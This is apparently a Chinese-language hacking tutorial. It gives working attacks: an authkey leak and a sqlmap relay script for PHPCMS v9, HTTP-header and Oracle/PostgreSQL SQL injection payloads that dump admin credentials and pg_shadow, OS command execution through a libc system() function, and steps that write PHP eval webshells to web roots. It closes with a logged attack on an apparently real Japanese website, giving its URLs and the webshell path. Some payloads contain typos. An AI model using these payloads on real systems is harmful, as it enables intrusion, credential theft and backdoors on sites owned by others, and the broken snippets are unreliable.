phpv9 authkey注入

环境搭建

  将源码复制到PHPstudy的www路径下后

 

 

  搭建好后,随便搭建一个网站首页

  然后将利用exp附在网站根目录后面

phpsso_server/index.phpm=php?sso&c=index&a=getapplist&auth_data=v=1&appid=1&data=662dCAZSAwgFUlUJBAxbVQJXVghTWVQHVFMEV1MRX11cBFMKBFMGHkUROlhBTVFuW1FJBAUVBwIXRlgeERUHQVlIUVJAA0lRXABSQEwNXAhZVl5V

 

需要注意的是,地址栏中的域名和报出来的信息中的域名要一致,否则无法利用漏洞,后面框出来的是爆出的key值

  接下来就是一个中转注入,写好一个php页面,放在本地PHPstudy的www路径下,需要改的地方有两处,就是代码中有注释的两处。第一处改为网站域名,第二处改为爆出的key值,然后访问127.0.0.1/php.php?id=1

<?php

set_time_limit(0);
$wang_url = 'http://192.168.200:8017';       //请修改这里为phpcmsv9网站地址
$auth_key = 'vRRLAaRcoRRtaBTSUzGIdLIHvZwT5md6'; //这里为phpcmsv9 authkey
$str = "uid=1" . stripslashes($_GET['id']);
$encode = sys_auth($str, 'ENCODE', $auth_key);
$content = file_get_contents($wang_url . "/phpsso_server/?m=phpsso&c=index&a=getuserinfo&appid=1&data=" . $encode);
echo $content;
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0)
{
    $key_length = 4;
    $key = md5($key);
    $fixedkey = hash('md5', $key);
    $egiskeys = md5(substr($fixedkey, 16, 16));
    $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(hash('md5', microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';
    $keys = hash('md5', substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));
    $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));
    $i = 0;
    $result = '';
    $string_length = strlen($string);
    for ($i = 0; $i < $string_length; $i++) {
        $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
    }
    if ($operation == 'ENCODE') {
        return $runtokey . str_replace('=', '', base64_encode($result));
    } else {
        if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $egiskeys), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    }
}
?>

 

  然后用sqlmap跑这个页面,这个页面就是一个中转的作用,相当于一个中间人,将sqlmap的攻击命令转交给目标站点,实现注入攻击

HTTP头注入

 常见的HTTP请求中存在注入的参数

  User-agent  Referer  X-Forwarded-For(重点)  Client-ip(重点)  Host

    X-Forwarded-For:记录客户端的登录或访问的ip

    Client-ip:获取ip

  检测方式:

    Client-ip: 1.1.1.1'

    参数在服务器端是用单引号来获取的,所以要用单引号来闭合,所以在检测的时候在参数后面加一个单引号来检测是否存在注入

    通常一些对ip参数要求很高的网站,会记录ip的网站可能存在注入

    登录的地方、留言的地方、发表文章的地方可能会存在注入

    在这些地方输入内容提交的时候,用bp抓包过滤拦截,修改,保存为txt再用sqlmap跑包

    也可以用火狐的插件Modify Headers,添加参数后打开,会自动往http头文件中添加对应的参数来检测(host参数最好不要乱加,会影响本地)

    exp构造利用漏洞

INSERT INTO blue_comment(com_id,post_id,user_id,type,mood,content,pub_date,ip,is_check) VALUES (",'1','0','1','6','test','1480988752','111','1')


a','xxx'),(",'1','1','2',(select concat(admin_name,0x3a,pwd,from biue_admin limit 0,1),'164545407','sss','1')#

 

    用sqlmap,bp抓包,加参数,指定注入点位置,保存为txt

      e.g  client-ip: 1.1.1*

      sqlmap.py -r c:\1.txt

XML实体注入

  xml,(作用:数据传输,数据传输)可扩展标记语言,标注通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。

可扩展标记语言XML(eXtensible Markup Language)是一种简单灵活的文本格式的可扩展标记语言,起源于SGML(Standard Generalized Markup Language),是SGML的一个子集合,也就是SGML的一个简化版本,非常适合于在Web上或者其它多种数据源间进行数据的交换。(源自百度百科)

漏洞形成原因:

  代码过滤不严格;用户可以控制。

  漏洞示例:

    任意文件读取示例;用户注册植入示例

$sql="SELECT * FROM user WHERE (id='$id')";

sqlmap.py -u "" --prefix "')' --suffix "('abc'='abc"

APP注入漏洞挖掘

  利用bp抓取APP发送到服务器的链接数据包

  burp fiddler

  得到链接后进行测试

  设置代理为手机上的代理

  手机和bp在同一网段下

Oracle&&postgresql注入详解

  大纲:oracle数据库注入原理  postgresql注入原理

  oracle数据库注入

  介绍:ORACLE数据库系统是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的一组软件产品,是目前最流行的客户/服务器(CLIENT/SERVER)或B/S体系结构的数据库之一。比如

SilverStream就是基于数据库的一种中间件。ORACLE数据库是目前世界上使用最为广泛的数据库管理系统,作为一个通用的数据库系统,它具有完整的数据管理功能;作为一个关系数据库,

它是一个完备关系的产品;作为分布式数据库它实现了分布式处理功能。但它的所有知识,只要在一种机型上学习了ORACLE知识,便能在各种类型的机器上使用它。

Oracle数据库最新版本为Oracle Database 12c。Oracle数据库12c 引入了一个新的多承租方架构,使用该架构可轻松部署和管理数据库云。此外,一些创新特性可最大限度地提高资源使用

率和灵活性,如Oracle Multitenant可快速整合多个数据库,而Automatic Data Optimization和Heat Map能以更高的密度压缩数据和对数据分层。这些独一无二的技术进步再加上在可用

性、安全性和大数据支持方面的主要增强,使得Oracle数据库12c 成为私有云和公有云部署的理想平台。

  特点:

    1、支持多用户、大事务量的处理

    2、数据安全性和完整性的有效控制

    3、支持分布式数据处理

    4、移植性强

    jsp+oracle  常见于:旅游网站、物流网站、企业网站、政府网站、学校网站

    搜索方法:inurl:jsp?id=旅游

  判断数据库

    and 1=1  and 1=2  /  '

  判断oracle数据库

    and exists(select * from dual)

    and exists(select * from user_tables)

  判断列数

    order by 11  order by 12  union联合查询

  判断数据库类型不匹配的列

    http://www.xx.com/sqllnject/sqlTest.jsp?id=100 union select null,null,null,null,null,null from dual

    再用数字填充一个一个的尝试,如果正常则表示就是数字类型的,否则就是字符类型的,在字符类型的的房就可以插入SQL查询语句进行查询

  获取基本信息

    获取数据库版本

      (select banner from sys.v_$version where rownum=1)

    获取操作系统版本

      (select member from v$logfile where rownum=1)

    获取连接数据库的当前用户

      (select SYS_CONTEXT('USERENV','CURRENT_USER') from dual)

    获取数据库

      (select owner from alltables where rownum=1)

  第二种注入方式

    判断一下数据库的表,网址后面加上:

    and(select count(*) from admin)<>0  回显正常,说明存在admin表;若回显错误,可将admin改为username等其他表名继续检测

    判断一下该网站有几个管理员(若存在多个管理员可以增加入侵几率)

    and(select count(*) from admin)=1  回显正常,说明只有有一个

    指定表名跑列名

    and(select count(name) from admin)>=0

    用ASCII码这般法猜解账号、密码

    判断用户名长度

    and (select count(*) from admin where length(name)>=5)=1

    and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1

    substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取他的ascii码值,97-----a

    用sqlmap时,步骤与其他一样

postgresql注入详解

  介绍:(多见于国外)PostgreSQL是以加州大学伯克利分校计算机系开发的 POSTGRES,现在已经更名为PostgreSQL,版本 4.2为基础的对象关系型数据库管理系统(ORDBMS)。PostgreSQL支持大部分 SQL标准并且提供了许多其他

现代特性:复杂查询、外键、触发器、视图、事务完整性、MVCC。同样,PostgreSQL 可以用许多方法扩展,比如, 通过增加新的数据类型、函数、操作符、聚集函数、索引。免费使用、修改、和分发 PostgreSQL,不管是私用、商用、还是

学术研究使用。

  注入的常用语法

     判断数据库

      +and+1::int=1--  其中+就是空格

    e.g  http://mysql.sql.com/sql.php?id=1+and+1::int=1--

    判断数据库的版本信息

      +and+1=cast(version() as int)--  

    判断当前用户

      and 1=cast(user||123 as int)

    判断有多少字段

      order by 3

      union select null,null,null

      union select null,suer,null  判断当前用户

      union select null,version(),null  判断版本信息

    列字段内容

      +union+select+null,name||pass,null+from+admin  查看postgresql数据库的账号、密码

      +union+select+null,username||chr(124)||password,null+drom+pg_shadow

    创建用户

      ;create+user+seven+with+superuser+password+'seven'--  

    修改postgresql用户密码为123456

      ;create+user+postgres+with+password+'123456'--

  创建system函数

    用于版本大于8的数据库

    创建一个system的函数,用system函数执行系统命令

      create FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' ATRICT

    创建一格输出表

      create table stdout(id serial,system_out text)

    执行shell,输出到输出表内

      select system('uname -1 > /tmp/test')

    copy输出的内容到表里面

      COPY stdout(system_out) FROM '/tmp/test'

    从输出表内读取执行后的回显,判断是否执行成功

      union all select NULL,(select stdout from system_out order by id desc),NULL limit 1 offset 1--

  postgresql写shell

    直接拿shell

      http://www.xx.com/sql.php?id=1;create table shell(shell text not null);

      http://www.xx.com/sql.php?id=1;insert into shell values($$<?php@eval($_POST[crscer]);?>$$');

      http://www.xx.com/sql.php?id=1;copy shell(shell) to '/var/www/html/shell.php';

    另一种方法

      ;copy (select '$$<?php@eval($_POST[cracer]);?>$$') to 'c:/inetup/wwwroot/mysql-sql/dd.php'

    读取文件前20行(文件读取)

      pg_read_file('/etc/passwd',1,20)

  数据库备份还原

    备份数据库

      pg_dump -O -h 168.192.0.5 -U postgres mdb >c:\mdb.sql"

      pg_dump -O -h 192.168.0.5 -U dbowner -w -105432 ss>ss.sql  远程备份数据库到本地来

    还原数据库

      psql -h localhost -U postgres -d mdb

日本站点测试(网站已挂了)

  http://www.kasugal-tochi.jp/kensaku/data.php?id=307%20and%201=cast(version()%20as%20int)

  http://www.kasugal-tochi.jp/kensaku/data.php?id=307%20and%201=cast(user||123%20as%20int)

   创建表

    ;create table ccc(w text not null());  创建表ccc w列

  插入一句话木马

    ;insert into ccc values($$<?php@eval($_POST[cracer]);?>$$);  向ccc表中插入一句话

  导出一句话

    ;copy ccc(w) to $$/host/kasugai_tochi/public_html/script/cracer.php$$;  讲一句话保存为cracer.php文件

  菜刀连接

    http://www.kasugau-tochi.jp/script/cracer.php

    

 2019-05-06  12:31:11